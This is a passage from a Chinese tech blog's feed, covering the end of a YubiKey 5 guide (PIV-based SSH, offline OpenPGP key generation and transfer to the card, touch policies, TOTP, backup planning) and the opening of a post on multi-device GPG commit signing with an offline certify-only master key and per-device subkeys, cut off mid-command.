<code>public.pem</code>。</p><p><strong>下面是这一整节最容易栽的坑，务必照做</strong>：你必须再往同一个槽位塞一张证书（哪怕是自签的），否则 PKCS#11 模块根本读不到这把公钥，后面 SSH 一步会神秘地拿不到任何身份。这张 X.509 证书唯一的作用就是充当 PKCS#11 提取公钥的「容器」，内容是什么不重要：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ykman piv certificates generate --subject <span class="string">&quot;CN=SSH key&quot;</span> 9a public.pem</span><br></pre></td></tr></table></figure><p>到这里私钥已经躺在卡里了，但 <code>public.pem</code> 是 PEM 格式，SSH 不直接吃。用 PKCS#11 模块把它转成 SSH 公钥格式。ArchLinux 上有两个模块可选，装 <code>yubico-piv-tool</code> 得到的 ykcs11 是 Yubico 自家的、对 YubiKey 适配最好，路径 <code>/usr/lib/libykcs11.so</code>；装 <code>opensc</code> 得到的是通用的 <code>/usr/lib/opensc-pkcs11.so</code>。两者都行，我用前者：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -D /usr/lib/libykcs11.so -e</span><br></pre></td></tr></table></figure><p>它通常会吐出不止一把公钥（认证用的那把、外加一个 attestation 公钥），<strong>取第一把</strong>（标着 PIV Authentication 的那个），贴到服务器的 <code>authorized_keys</code> 或 GitHub 即可。</p><p>日常使用有三种接法，按口味挑一种。最省事的是写进 <code>~/.ssh/config</code>，让 SSH 每次自动加载这个模块：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PKCS11Provider /usr/lib/libykcs11.so</span><br></pre></td></tr></table></figure><p>之后正常 <code>ssh user@server</code>，会提示输 PIV PIN、再触摸。或者临时指定，不写进配置：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -I /usr/lib/libykcs11.so user@server</span><br></pre></td></tr></table></figure><p>又或者把它挂进 <code>ssh-agent</code>，用完再卸下（<code>-s</code> 加载，<code>-e</code> 移除）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ssh-add -s /usr/lib/libykcs11.so   <span class="comment"># 加载，会要 PIN</span></span><br><span class="line">ssh-add -e /usr/lib/libykcs11.so   <span class="comment"># 移除</span></span><br></pre></td></tr></table></figure><p>排障四则。其一，<code>ssh-keygen -D</code> 报 <code>is not a PKCS11 library</code> 或 <code>No such file or directory</code>，是 <code>/usr/lib/libykcs11.so</code> 不存在——它由 <code>yubico-piv-tool</code> 包提供，没装就没有这个文件，<code>sudo pacman -S yubico-piv-tool</code> 即可（装完可用 <code>pacman -Ql yubico-piv-tool | grep libykcs11</code> 核对路径）。其二，SSH 不报错但就是不认密钥、<code>ssh -vvv</code> 里看不到来自卡的身份——十有八九是忘了上面那步生成证书，回去补 <code>ykman piv certificates generate</code>。其三，想确认卡里到底有什么，<code>ykman piv info</code> 会列出各槽位的密钥和证书状态，是排查的第一站。其四，PIV PIN 连续输错会锁定（默认三次），这时要用 PUK 解锁；PUK 也输错耗尽，整个 PIV 应用就只能 <code>ykman piv reset</code> 全清重来了——所以改完 PIN 记得找个可靠地方记下来。</p><p>一个固件相关的差异：<code>ykman piv keys delete</code>（单独删某个槽里的私钥、保留其它）是固件 <strong>5.7.0 才加入</strong>的操作，5.4.x 等较老固件会报 <code>requires YubiKey 5.7.0 or later</code>。老固件上想腾空一个槽，只能删证书（<code>ykman piv certificates delete &lt;slot&gt;</code>，删后该槽不再被 PKCS#11 暴露、<code>ykman piv info</code> 也不再列出），或往该槽写入新密钥把旧的覆盖掉。</p><p>Windows 原生支持智能卡体系，但“能被 Windows 识别”不等于“能直接用于系统登录”。除了装好 YubiKey Minidriver，域登录通常还需要 AD CS / 受信任 CA、正确的 UPN/SAN、EKU、证书映射和域控制器证书配置；普通自签 PIV 证书主要适合 SSH / TLS 客户端认证等个人场景。如果给 SSH 用则和 Linux 类似，指定 <code>libykcs11.dll</code> 作为 PKCS#11 模块即可。</p><p>最后掂量一下：对照前面 FIDO2 那节，PIV 这套明显步骤更多、坑更多。除非你确实落在开头说的那三种情况里，否则我的建议仍是用 <code>ed25519-sk</code>。把 PIV 写在这里，是为了让你在「FIDO2 不被支持」或「想搭 SSH CA」那天，知道还有这条路、也知道那张「没用却必需」的证书坑在哪。</p><h2 id="用途三：OpenPGP-加密与签名">用途三：OpenPGP 加密与签名</h2><p>这一节明显比前面重，配置链路长、概念多，但换来的是把 PGP 私钥彻底锁进硬件——签名和解密都必须卡在身边、触摸确认才能完成，私钥永远不出卡。如果你本来就没在用 PGP，这节可以先跳过，等真有加密邮件或软件签名的需求了再回来。</p><h3 id="一个关于备份的关键决策">一个关于备份的关键决策</h3><p>YubiKey 的 OpenPGP 应用能装三把子密钥：签名（S）、加密（E）、认证（A）。生成这些密钥有两条路，<strong>这个选择关乎你日后能不能恢复，务必想清楚再动手</strong>：</p><ul><li><strong>直接在卡上生成</strong>：私钥从诞生起就没离开过硬件，安全性最高。但代价是无法备份——卡坏了、丢了，用这把加密子密钥加密过的所有历史数据就<strong>永久解不开了</strong>。</li><li><strong>离线生成后导入卡中</strong>：先在一台离线的、可信的机器上生成密钥，妥善备份私钥（比如存进加密的离线介质），再把子密钥搬进卡里。卡只是私钥的一个「使用终端」，坏了换张卡、从备份恢复即可。</li></ul><p>对签名和认证密钥，丢了大不了重新生成、重新分发公钥，影响有限；但<strong>加密密钥强烈建议走离线生成 + 备份这条路</strong>，否则你是在拿历史数据的可恢复性做赌注。下面这一小节就把完整流程逐步走一遍。</p><h3 id="离线生成密钥并迁移到卡（推荐流程）">离线生成密钥并迁移到卡（推荐流程）</h3><p>这套流程的核心思想是：<strong>主密钥（master key）永远不上卡、不联网，只在需要签发新子密钥或撤销时才离线取出</strong>；真正天天用的签名、加密、认证三把子密钥才放进 YubiKey。这样即便卡丢了、甚至日常机器全毁了，只要离线备份还在，你就能换张卡从头恢复。这也是 drduh 的 YubiKey-Guide 推崇的模型，下面是我精简后的可操作版本。<strong>建议先完成OpenPGP user PIN / Admin PIN修改再继续</strong></p><p>理想情况下这一整套该在一台断网的机器、甚至 Tails 这类一次性系统里做。退一步，至少用一个临时、隔离的 keyring 来操作，避免污染你日常的 <code>~/.gnupg</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> GNUPGHOME=$(<span class="built_in">mktemp</span> -d)        <span class="comment"># 开一个临时、隔离的 GnuPG 目录</span></span><br></pre></td></tr></table></figure><p><strong>第一步，生成仅用于认证（Certify-only）的主密钥。</strong> 主密钥只保留 certify 能力——它的唯一职责就是「为子密钥背书、以及在紧急时撤销」，不参与日常签名加密。算法上 YubiKey 5（固件 5.2.3+）的 OpenPGP 已支持 Curve 25519，我用 <code>ed25519</code>，更快、公钥更短；若你追求最大兼容性，换成 <code>rsa4096</code> 也行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --quick-generate-key <span class="string">&quot;Your Name &lt;you@example.com&gt;&quot;</span> ed25519 cert never</span><br></pre></td></tr></table></figure><p>记下输出里的指纹（fingerprint），后面要反复用到。为方便，把它存进变量：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> KEYFP=&lt;上一步输出的40位指纹&gt;</span><br></pre></td></tr></table></figure><p><strong>第二步，加三把子密钥：签名、加密、认证。</strong> 给它们设个有限有效期（比如一年）不是因为怕被破解，而是一种「定期续期」的健康习惯，主密钥还在你手上，到期前 <code>gpg --quick-set-expire</code> 续一下即可：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gpg --quick-add-key <span class="variable">$KEYFP</span> ed25519 sign 1y</span><br><span class="line">gpg --quick-add-key <span class="variable">$KEYFP</span> cv25519 encrypt 1y</span><br><span class="line">gpg --quick-add-key <span class="variable">$KEYFP</span> ed25519 auth 1y</span><br></pre></td></tr></table></figure><p><strong>第三步，生成撤销证书（revocation certificate）。</strong> 现代 GnuPG 在建主密钥时已自动在 <code>$GNUPGHOME/openpgp-revocs.d/</code> 下放了一份，但我习惯再手动导一份单独保管——万一私钥被盗或丢失，这张证书能让你向密钥服务器宣告「此密钥作废」：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --output revoke.asc --gen-revoke <span class="variable">$KEYFP</span></span><br></pre></td></tr></table></figure><p><strong>第四步——也是最关键、最容易出顺序错的一步：先备份，再上卡。</strong> 务必在 <code>keytocard</code> 之前把私钥完整导出备份好。原因下面紧接着讲：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gpg --armor --export-secret-keys <span class="variable">$KEYFP</span> &gt; master-and-subs.asc   <span class="comment"># 主密钥+子密钥，最完整的底</span></span><br><span class="line">gpg --armor --export-secret-subkeys <span class="variable">$KEYFP</span> &gt; subs-only.asc       <span class="comment"># 仅子密钥，用于灌第二张卡</span></span><br><span class="line">gpg --armor --<span class="built_in">export</span> <span class="variable">$KEYFP</span> &gt; public.asc                          <span class="comment"># 公钥，可公开分发</span></span><br></pre></td></tr></table></figure><p>把 <code>master-and-subs.asc</code>、<code>revoke.asc</code> 连同那个 <code>openpgp-revocs.d/</code> 目录一起，存进加密的离线介质（我的做法是写进一块 LUKS 加密的 U 盘，再额外打印一份纸质副本锁起来）。<strong>这一步偷不得懒</strong>：一旦下一步把子密钥搬进卡，本地的私钥就变成了只是指向卡的「存根（stub）」，不再是真私钥了。</p><p><strong>第五步，把三把子密钥搬进 YubiKey。</strong> 注意 <code>keytocard</code> 是<strong>移动而非复制</strong>——执行并 <code>save</code> 之后，本地这把子密钥私钥就被卡内引用替代了。这正是上一步必须先备份的原因：你手上若只有卡、没有备份，就再也灌不出第二张卡：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">gpg --edit-key <span class="variable">$KEYFP</span></span><br><span class="line"><span class="comment"># 进入交互界面后：</span></span><br><span class="line"><span class="comment"># gpg&gt; key 1        选中第 1 把子密钥（签名）</span></span><br><span class="line"><span class="comment"># gpg&gt; keytocard    按提示选「Signature」槽</span></span><br><span class="line"><span class="comment"># gpg&gt; key 1        取消选中</span></span><br><span class="line"><span class="comment"># gpg&gt; key 2        选中第 2 把（加密）</span></span><br><span class="line"><span class="comment"># gpg&gt; keytocard    选「Encryption」槽</span></span><br><span class="line"><span class="comment"># gpg&gt; key 2</span></span><br><span class="line"><span class="comment"># gpg&gt; key 3        选中第 3 把（认证）</span></span><br><span class="line"><span class="comment"># gpg&gt; keytocard    选「Authentication」槽</span></span><br><span class="line"><span class="comment"># gpg&gt; key 3</span></span><br><span class="line"><span class="comment"># gpg&gt; save</span></span><br></pre></td></tr></table></figure><p><code>gpg --card-status</code> 这时应该能看到三个槽位都已填上对应子密钥的指纹。</p><p><strong>第六步，在日常机器上「认领」这张卡。</strong> 在你平时用的机器上，先导入公钥，再让 GnuPG 扫一遍卡，它会自动建立指向卡的私钥存根：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gpg --import public.asc</span><br><span class="line">gpg --card-status            <span class="comment"># 扫到卡后自动生成 stub</span></span><br></pre></td></tr></table></figure><p>之后这台机器就能用卡做签名、解密、认证了，而私钥始终在卡里。</p><p><strong>关于第二张卡</strong>（前面反复强调要买两把，这里兑现）：你<strong>不能</strong>把已经 <code>keytocard</code> 进卡一的子密钥再搬一次——那份在本地已是存根。正确做法是另开一个干净的临时 <code>GNUPGHOME</code>，从备份重新导入，再对第二张卡重复第五步：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> GNUPGHOME=$(<span class="built_in">mktemp</span> -d)</span><br><span class="line">gpg --import master-and-subs.asc   <span class="comment"># 从备份恢复出真私钥</span></span><br><span class="line">gpg --edit-key <span class="variable">$KEYFP</span>              <span class="comment"># 再走一遍 keytocard，灌进第二张卡</span></span><br></pre></td></tr></table></figure><p><strong>想清楚「全损场景」会发生什么</strong>，这是判断备份做得够不够的试金石：如果只剩卡、丢了所有备份，你仍能用卡签名解密，但<strong>无法</strong>续期、无法新增子密钥、无法签发第二张卡，撤销也只能靠那张单独的撤销证书——本质上你被锁死在当前这张卡的寿命里。反过来，只要 <code>master-and-subs.asc</code> 和撤销证书还在，卡丢了不过是再灌一张的事。所以这两份备份的价值，远高于卡本身。</p><p>最后清理临时环境（仅删临时 keyring，不影响你的日常 <code>~/.gnupg</code>）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gpg --homedir <span class="string">&quot;<span class="variable">$GNUPGHOME</span>&quot;</span> -K   <span class="comment"># 确认该导出的都导出了</span></span><br><span class="line"><span class="built_in">rm</span> -rf <span class="string">&quot;<span class="variable">$GNUPGHOME</span>&quot;</span></span><br><span class="line"><span class="built_in">unset</span> GNUPGHOME KEYFP</span><br></pre></td></tr></table></figure><h3 id="设置卡、改-PIN、加触摸策略">设置卡、改 PIN、加触摸策略</h3><p>把卡接上，先看状态：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --card-status</span><br></pre></td></tr></table></figure><p>OpenPGP 应用有两个独立的 PIN，出厂默认值是公开的，<strong>第一件事就是改掉它们</strong>：用户 PIN 默认 <code>123456</code>，管理员 PIN（Admin PIN）默认 <code>12345678</code>。进卡管理界面修改：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">gpg --card-edit</span><br><span class="line"><span class="comment"># 进入后依次：</span></span><br><span class="line"><span class="comment"># gpg/card&gt; admin</span></span><br><span class="line"><span class="comment"># gpg/card&gt; passwd</span></span><br><span class="line"><span class="comment"># 然后按菜单分别改 user PIN 和 admin PIN</span></span><br></pre></td></tr></table></figure><p>强烈建议再给三把子密钥都打开<strong>触摸策略</strong>——默认情况下卡只要插着，签名/解密就会自动进行，攻击者控制了你的机器就能静默地拿卡干活。开了触摸之后，每次签名或解密都必须有人物理碰一下金属盘，恶意软件再怎么自动化也没法替你触摸：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ykman openpgp keys set-touch sig on   <span class="comment"># 签名</span></span><br><span class="line">ykman openpgp keys set-touch enc on   <span class="comment"># 解密</span></span><br><span class="line">ykman openpgp keys set-touch aut on   <span class="comment"># 认证</span></span><br></pre></td></tr></table></figure><p>设置触摸策略时会要求输入 Admin PIN 确认。<code>on</code> 是「需要触摸」，还有 <code>fixed</code>（设了就不能再关，更偏执）等选项，按需选 <code>on</code> 即可。</p><h3 id="把-OpenPGP-认证子密钥也用作-SSH">把 OpenPGP 认证子密钥也用作 SSH</h3><p>如果你已经在 PGP 这条路上，那把认证子密钥（Authentication subkey）可以顺手当 SSH 密钥用，让 <code>gpg-agent</code> 兼任 <code>ssh-agent</code>。在 <code>~/.gnupg/gpg-agent.conf</code> 里加一行：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">enable-ssh-support</span><br></pre></td></tr></table></figure><p>然后让 SSH 客户端去找 <code>gpg-agent</code> 的套接字：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)</span><br></pre></td></tr></table></figure><p>这行通常写进 <code>~/.bashrc</code> 或 <code>~/.zshrc</code>。导出可贴到服务器的 SSH 公钥：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --export-ssh-key &lt;你的KEYID&gt;</span><br></pre></td></tr></table></figure><p>说句实话：在已经有了 FIDO2 <code>-sk</code> 方案的今天，除非你本来就重度依赖 PGP 生态，否则没必要专门为了 SSH 去搭这套 <code>gpg-agent</code>。它更适合「我 PGP 都配好了，SSH 顺便复用」的场景，而不是反过来为 SSH 引入 PGP。</p><h2 id="用途四：TOTP，替掉手机上的验证器-App">用途四：TOTP，替掉手机上的验证器 App</h2><p>OATH-TOTP 就是各类「验证器 App」里那串每 30 秒刷新的 6 位数。把它们搬到 YubiKey 上的意义在于：种子（secret）存进硬件后无法被读出或克隆，手机丢了、被装了恶意软件也波及不到这些码。代价是每次取码要插卡——便利性换安全性，自己判断哪些账号值得。</p><p>需要注意，OATH-TOTP 仍然是可被钓鱼中继的 6 位验证码；把它放进 YubiKey 主要提升的是 seed 的本地保护和设备隔离，不等同于 FIDO2/WebAuthn 那种协议级抗钓鱼。</p><p>命令行加一个账号，最常见是从网站给的密钥字符串添加：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ykman oath accounts add GitHub JBSWY3DPEHPK3PXP</span><br></pre></td></tr></table></figure><p>更省事的做法是直接喂给它整条 <code>otpauth://</code> URI（很多网站会在二维码旁给出这串文本）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ykman oath accounts uri <span class="string">&#x27;otpauth://totp/GitHub:me?secret=JBSWY3DPEHPK3PXP&amp;issuer=GitHub&#x27;</span></span><br></pre></td></tr></table></figure><p>取码：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ykman oath accounts code GitHub</span><br></pre></td></tr></table></figure><p>列出全部账号：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ykman oath accounts list</span><br></pre></td></tr></table></figure><p>如果只有二维码、拿不到文本密钥，用图形版的 Yubico Authenticator 最方便——它能直接扫屏幕上的二维码完成添加，省去手抄。想给某个高价值账号再加一道关，添加时带上 <code>--touch</code>，取码时就必须触摸一次：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ykman oath accounts add --<span class="built_in">touch</span> GitHub JBSWY3DPEHPK3PXP</span><br></pre></td></tr></table></figure><p>还可以给整个 OATH 应用设一个访问口令，这样别人光插卡也读不到你的验证码：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ykman oath access change</span><br></pre></td></tr></table></figure><p>容量上限前面提过：5.7 固件 64 个，更早的 32 个。日常账号一般够用，真不够再考虑分配到第二把卡上。</p><h2 id="备份与遗失：这一节比前面所有节都重要">备份与遗失：这一节比前面所有节都重要</h2><p>前面讲了那么多怎么把鸡蛋装进 YubiKey 这个篮子，现在必须正视一个问题：<strong>如果这个篮子掉了呢。</strong> YubiKey 没有云同步、私钥读不出来、固件不能克隆——这些正是它安全的根基，但也意味着它丢了就是真丢了，没有「找回」一说。所以负责任的做法只有一个：</p><p><strong>买两把，从一开始就把两把一起注册。</strong> 这不是可选项，是这套方案能不能落地的前提。具体到各应用：</p><ul><li><strong>FIDO2 / Passkey</strong>：在每个支持的服务里，把备用 YubiKey 当成又一把新密钥，按和主卡完全相同的流程再注册一遍即可。多数服务允许注册多个安全密钥。</li><li><strong>TOTP</strong>：因为种子无法从卡里导出，没法「复制」到第二把卡。正确做法是在最初添加账号时，把那串密钥/二维码同时添加进两把卡（所以别添加完就把密钥扔了，先确认两把都进了再说）。同时把各服务的恢复码（recovery codes）打印或离线存好。</li><li><strong>OpenPGP</strong>：如果你按前面建议走的是「离线生成 + 备份」，那么从备份把同一套子密钥导入第二张卡就行；如果当初图省事在卡上直接生成，那第二把卡只能是另一套独立密钥，恢复体验会差很多——这也是我反复强调离线生成的原因。</li><li><strong>SSH</strong>：non-resident 密钥依赖本地句柄文件，丢卡后这把就废了，所以同样建议给第二把卡生成对应密钥并一起部署到服务器；resident 密钥则可以在任意机器上用第二把卡重新拉取（前提是你也在第二把卡上存了对应的 resident 凭据）。</li></ul><p>把备用 YubiKey 和主卡分开存放——一把随身，一把锁在家里抽屉或保险箱。两把的型号不必相同，主卡是 5C NFC、备用是 5 NFC 完全没问题，按你接触到的设备接口来配反而更灵活。</p><h2 id="结语">结语</h2><p>迁移完之后回头看，YubiKey 真正改变的不是某一次登录有多安全，而是它逼着我把「我的身份到底依赖什么」这件事想清楚了一遍——哪些账号值得上硬件、哪些密钥需要能恢复、丢了之后我还剩什么。这个梳理的过程，价值不亚于那块芯片本身。</p><p>不用追求一天之内把所有东西都搬过去。我自己也是先把 GitHub 和 Google 的登录换成 FIDO2，用顺手了再慢慢迁 SSH、最后才碰 PGP。从收益最高、最省心的 FIDO2 开始，让这把小铁片先在日常里证明它的价值，剩下的自然会水到渠成。</p><p><strong>最后祝各位的密码永不泄露</strong></p>]]>
    </content>
    <id>https://www.catwhiteangel.com/yubikey-5-practical-guide-fido2-ssh-piv-openpgp-totp/</id>
    <link href="https://www.catwhiteangel.com/yubikey-5-practical-guide-fido2-ssh-piv-openpgp-totp/"/>
    <published>2026-06-22T09:45:00.000Z</published>
    <summary>围绕一把 YubiKey 5 NFC 把日常认证逐项迁移的实践记录：FIDO2/Passkey 登录、SSH 认证、PIV、OpenPGP 签名与加密、TOTP 验证码，以 Arch Linux 为主、单独标注 Windows 差异，含固件容量与购买建议。</summary>
    <title>YubiKey 5 实践指南——用一把硬件密钥统管 FIDO2、SSH、PIV、OpenPGP 与 TOTP</title>
    <updated>2026-06-22T09:45:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Linux Security" scheme="https://www.catwhiteangel.com/categories/Linux-Security/"/>
    <category term="GPG" scheme="https://www.catwhiteangel.com/tags/GPG/"/>
    <category term="YubiKey" scheme="https://www.catwhiteangel.com/tags/YubiKey/"/>
    <category term="Git" scheme="https://www.catwhiteangel.com/tags/Git/"/>
    <category term="SSH" scheme="https://www.catwhiteangel.com/tags/SSH/"/>
    <content>
      <![CDATA[<h1>GPG 多设备提交签名——离线主 key + 每台设备独立 subkey</h1><p>我有五个工作环境——两台 Windows、各自的 WSL、外加一台 ArchLinux 笔记本——都要往同一个仓库推代码。需求是：让 GitHub 上每个 commit 都显示 Verified，同时多台机器之间的密钥要好管理、好吊销。如果图省事把同一把私钥拷到每台机器，丢一台就等于整个身份泄露，得吊销后所有机器重新配置一遍——这正是要避免的。</p><p>这篇是整个配置过程的完整记录，供以后加设备、续期、处理设备丢失时翻阅，也供想搭同样结构的人参考。文中的密钥指纹（fingerprint）、key ID、keygrip 都不是机密，可以照抄；唯一的机密是主 key 的密码，只存在密码管理器里，不写进任何文件。</p><h2 id="1-为什么是这套结构">1 为什么是这套结构</h2><p>后面所有操作都是从三个设计选择推出来的，先把它们讲清楚，比直接抄命令重要得多。</p><p><strong>为什么用 GPG，而不是 SSH 签名。</strong> Git 现在也支持用 SSH key 签 commit，配置更省事。但我选 GPG 图的是一个长期独立性（long-term independence）：GPG 签名只靠公钥本身就能验证，不绑定任何平台。今天在 GitHub 看 Verified，明天迁到自建 Gitea、或者要签 release tag、签固件 <code>.bin</code> 发给别人核对，同一套密钥全都通用。身份这件事上的整套生态——keyserver、指纹分发、吊销机制——GPG 成熟得多，值得为它多花这一次配置成本。</p><p><strong>为什么主 key 离线、每台设备只给一把 subkey。</strong> 主 key 是长期身份，要拿去印名片、发 keyserver、写进 release 让别人核对指纹，所以它越稳越好、越少上机越好。日常签 commit 这种高频动作，交给子密钥（subkey）：每台设备一把专属的，互不相同。这样威胁面被切成了小块——丢一台、或某把 subkey 泄露，只要吊销那一把，其他设备和身份本身毫发无伤。主 key 平时就躺在离线 U 盘里，根本不上机。</p><p><strong>为什么主 key 只留 Certify 能力。</strong> 我给主 key 只保留了 Certify（<code>[C]</code>）能力，连签名都不让它干。这不是洁癖：把日常签名能力从主 key 上彻底拿掉，等于逼自己只能走 subkey 工作流，堵死了「图省事直接拿主 key 签一下」这个会慢慢侵蚀整套设计的口子。</p><h2 id="2-密钥与设备全景">2 密钥与设备全景</h2><blockquote><p>下文出现的所有指纹、key ID、keygrip、邮箱都是 <strong>示例值</strong>——命令的形状照搬即可，但这些标识符每个人都不同，实际操作时一律替换成你自己的。</p></blockquote><p>一把主 key、三把 subkey，覆盖五个环境。</p><p>主 key（Certify only <code>[C]</code>，永不过期）：</p><ul><li>指纹：<code>1111 2222 3333 4444 5555 6666 7777 8888 9999 AAAA</code></li><li>Key ID：<code>777788889999AAAA</code>，下文一律简写为 <code>11112222...</code></li><li>Keygrip：<code>0000111122223333444455556666777788889999</code>（删主 key 私钥时按它定位文件，记一下）</li><li>邮箱：<code>&lt;你的 GitHub noreply 邮箱&gt;</code></li><li>创建：2026-05-12</li></ul><p>三把 subkey 均为 RSA4096、仅签名（<code>[S]</code>）、两年有效期。选 RSA4096 而非 ed25519，是图各处验证端都认、兼容性最稳妥：</p><table><thead><tr><th>#</th><th>Key ID</th><th>设备</th><th>创建</th><th>到期</th></tr></thead><tbody><tr><td>1</td><td><code>AAAA1111AAAA1111</code></td><td>电脑 1（Windows）+ 其 WSL</td><td>2026-05-12</td><td>2028-05-11</td></tr><tr><td>2</td><td><code>BBBB2222BBBB2222</code></td><td>电脑 2（Windows）+ 其 WSL</td><td>2026-05-13</td><td>2028-05-12</td></tr><tr><td>3</td><td><code>CCCC3333CCCC3333</code></td><td>ArchLinux 笔记本</td><td>2026-06-21</td><td>2028-06-20</td></tr></tbody></table><p>这里有个值得说明的取舍：<strong>WSL 不单独签发 subkey，直接复用宿主 Windows 那台的</strong>。理由是同一台物理机的威胁模型本就相同，给 WSL 再单发一把不带来任何安全收益，只是徒增管理负担。所以表里五个环境只对应三把 subkey。</p><h2 id="3-U-盘怎么放">3 U 盘怎么放</h2><p>主 key 私钥和吊销证书（revocation certificate）是这套方案的两件核心资产，前者是身份本体，后者是身份出事时的救命兜底——它们都放离线 U 盘。我的结构是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">E:\IMPORTANT\GPG\</span><br><span class="line">├── GPG.txt                          ← 清单笔记（对应上面「密钥与设备全景」）</span><br><span class="line">├── master-private-11112222.asc      ← 主 key 私钥（永不变，核心资产）</span><br><span class="line">├── revoke-11112222...asc            ← 吊销证书（永不变，救命兜底）</span><br><span class="line">├── v2\</span><br><span class="line">│   ├── subkeys-bundle-v2.asc        ← subkey #1+#2</span><br><span class="line">│   └── public-11112222-v2.asc</span><br><span class="line">└── v3\</span><br><span class="line">    ├── subkeys-bundle-v3.asc        ← subkey #1+#2+#3</span><br><span class="line">    └── public-11112222-v3.asc       ← 当前 GitHub 上的公钥版本</span><br></pre></td></tr></table></figure><p>原则就一句：<strong>永不变的放根目录，随 subkey 增减的按版本进 <code>vN\</code></strong>。每加一台设备，subkey 多一把，bundle 和公钥就升一版，主 key 与吊销证书纹丝不动。</p><p>几条实践教训，都是「不这么做将来会后悔」那种：</p><ul><li>至少两个 U 盘做镜像、分开存放，防丢、防坏、防同地遭灾。</li><li>吊销证书是纯 ASCII，<strong>打印一份纸质版锁起来</strong>当终极兜底——下面「出事了怎么办」会讲到它为什么值得这么郑重对待。</li><li>主 key 密码存进密码管理器，绝不写进任何文件。说第三遍了，因为忘了它就真没救。</li></ul><h2 id="4-从第一台电脑搭起">4 从第一台电脑搭起</h2><p>第一台机器要把整套密钥从无到有建起来，后面加设备就轻量得多。以下命令是 Windows（PowerShell）版。</p><p><strong>1. 生成主 key（只留 Certify）。</strong></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gpg <span class="literal">--full-generate-key</span> <span class="literal">--expert</span></span><br><span class="line"><span class="comment"># kind:    8（RSA，自定义能力）</span></span><br><span class="line"><span class="comment"># 能力界面：按 S 关掉 Sign、按 E 关掉 Encrypt，只留 Certify，Q 确认</span></span><br><span class="line"><span class="comment"># keysize: 4096</span></span><br><span class="line"><span class="comment"># valid:   0（永不过期）</span></span><br><span class="line"><span class="comment"># name:    yourname</span></span><br><span class="line"><span class="comment"># email:   &lt;你的 GitHub noreply 邮箱&gt;</span></span><br><span class="line"><span class="comment"># 